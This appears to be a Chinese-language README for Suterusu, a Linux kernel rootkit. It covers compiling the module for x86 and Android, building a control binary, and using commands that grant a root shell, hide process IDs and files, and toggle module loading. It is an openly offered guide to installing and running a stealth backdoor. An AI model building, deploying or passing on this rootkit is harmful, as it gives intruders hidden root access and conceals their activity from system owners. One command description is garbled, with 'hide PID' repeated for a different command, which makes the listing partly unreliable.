Suterusu
典型的编译步骤:
$ wget http://kernel.org/linux-x.x.x.tar.gz
$ tar xvf linux-x.x.x.tar.gz
$ cd linux-x.x.x
$ make menuconfig
$ make modules_prepare
$ cd /path/to/suterusu
$ make linux-x86 KDIR=/path/to/kernel
要编译对当前运行的内核 (已安装内核头文件):
$ make linux-x86 KDIR=/lib/modules/$(uname -r)/build
如果需要特定的工具链进行交叉编译,请提供
make 过程中 CROSS_COMPILE 变量:
$ make android-arm CROSS_COMPILE=arm-linux-androideabi KDIR=/path/to/kernel
要编译命令二进制文件:
$ gcc sock.c -o sock
命令
根 shell
$ ./sock 0
隐藏 PID
$ ./sock 1 [pid]
隐藏 PID
$ ./sock 16
静默地重新允许模块加载 (撤消命令 16)
$ ./sock 17
文件/目录隐藏
目前,文件/目录隐藏仅在 / 文件系统中隐藏名称。 请注意,隐藏的是名称,而不是路径。 例如,给 Suterusu 一个名为 ".blah" 的名称,将在文件系统中的所有目录中隐藏名为 ".blah" 的名称。